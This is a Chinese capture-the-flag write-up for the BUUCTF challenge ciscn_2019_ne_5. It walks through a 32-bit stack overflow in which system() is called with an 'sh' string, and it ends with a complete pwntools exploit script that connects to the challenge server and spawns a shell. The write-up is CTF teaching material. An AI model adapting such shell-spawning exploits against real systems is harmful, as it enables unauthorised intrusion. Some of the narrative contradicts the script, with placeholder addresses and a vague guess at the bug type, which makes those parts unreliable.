buu-ciscn_2019_ne_5-好久不见50

1. 背景分析

目标程序是一个存在漏洞的二进制文件,我们可以通过以下方式利用漏洞获取 shell:

  1. 程序中存在 system() 函数,但没有明显的 /bin/sh 字符串。

  2. 使用工具(如 ROPgadget)发现程序中有 sh 字符串,可以利用它作为 system() 的参数。

  3. 程序的交互逻辑需要先输入密码,然后选择操作,最后通过溢出漏洞触发 ROP 链。

2. 具体步骤
步骤 1:确定偏移量

通过分析程序的漏洞点(例如通过格式化字符串漏洞或堆溢出漏洞),找到可以覆盖返回地址的偏移量。假设偏移量为 0x48 + 4。

步骤 2:查找关键地址

使用工具(如 ROPgadget 或 IDA Pro)查找以下地址:

  • system() 函数的地址。

  • main() 函数的地址(用于防止程序崩溃)。

  • sh 字符串的地址。

示例命令:

bash复制

复制代码
ROPgadget --binary ./zzz --search "system"
ROPgadget --binary ./zzz --search "sh"

假设:

  • system() 的地址为 0x08048430

  • main() 的地址为 0x08048500

  • sh 的地址为 0x08048123

步骤 3:交互流程

程序的交互逻辑如下:

  1. 程序提示输入管理员密码。

  2. 程序提供选项,需要选择 1 添加 log。

  3. 程序提示输入新的 log,此时发送构造的 ROP 链。

  4. 再次选择操作,选择 4 触发漏洞。

步骤 4:构造 ROP 链

根据上述地址和偏移量,构造 ROP 链:

  1. 填充到返回地址的偏移量。

  2. 覆盖返回地址为 system() 的地址。

  3. 在 system() 返回后跳转到 main(),防止程序崩溃。

  4. 将 sh 的地址作为 system() 的参数。

步骤 5:发送 ROP 链并触发漏洞

通过网络交互,发送构造的 ROP 链,并触发漏洞。

第一个条件s1 == 'administrator'

ADDLog():我们看到这里是输入log,跟我们的flag有关系

a1是我们外面传进来的src = 48,读取128个就造成了溢出

复制代码
from pwn import *
 
context(os = 'linux',arch = 'i386',log_level = 'debug')
content = 0
elf = ELF('./zzz')
 
def main():
	if content == 1:
		p = process('zzz')
	else:
		p =remote('node5.buuoj.cn',25739)
	 
	#0x080482ea : sh
	sh_addr     = 0x080482ea
	system_addr = elf.sym['system']
	payload     = b'a' * (0x48+0x4) + p32(system_addr) + b'aaaa' + p32(sh_addr)
	
	p.sendlineafter("Please input admin password:",'administrator')
	p.sendlineafter("0.Exit\n:",'1')
	p.sendlineafter("Please input new log info:",payload)
	p.sendlineafter("0.Exit\n:",'4')
	
	p.interactive()
main()
相关推荐
孙克旭_4 分钟前
网站API权限漏洞
网络安全
骇客野人23 分钟前
企业4A架构(业务架构、应用架构、数据架构、安全架构)完整设计与搭建方案
安全·架构·安全架构
听说66632 分钟前
信息安全工程师 - 第二十章 据库系统安全
网络·安全·web安全·网络安全·系统安全
杭州领祺科技33 分钟前
分布式光伏『四可』接入改造:绿电直连场景下的二次系统通信与安全架构(27 号令 4 区落位 + 7 产品边界)
分布式·安全·安全架构·光伏·电力·绿电直连·二次系统
武天旭35 分钟前
AI安全--AI大模型的漏洞攻防与数据投毒风险
人工智能·安全
updayday85437 分钟前
供应商补交资质文件时,采购难以核对缺件和新版本 - Ping64 文件收集
大数据·网络·数据库·安全·智能路由器
luiyarch41 分钟前
TBOX信息安全系列6设计篇-系统数据安全方案
人工智能·安全·车载系统·汽车
Light601 小时前
四款云端 Agent 的安全边界画在三个地方
大数据·数据库·安全·个人agent·安全边界·提示注入·grok bot
Summer-Bright1 小时前
深度 | AI 早期融资的估值前置:种子轮买人,A 轮买营收,安全边际在消失
人工智能·安全
m0_547486661 小时前
《信息网络安全:原理、技术及应用》全套PPT课件2026(国防科技大学)
安全·web安全·信息网络安全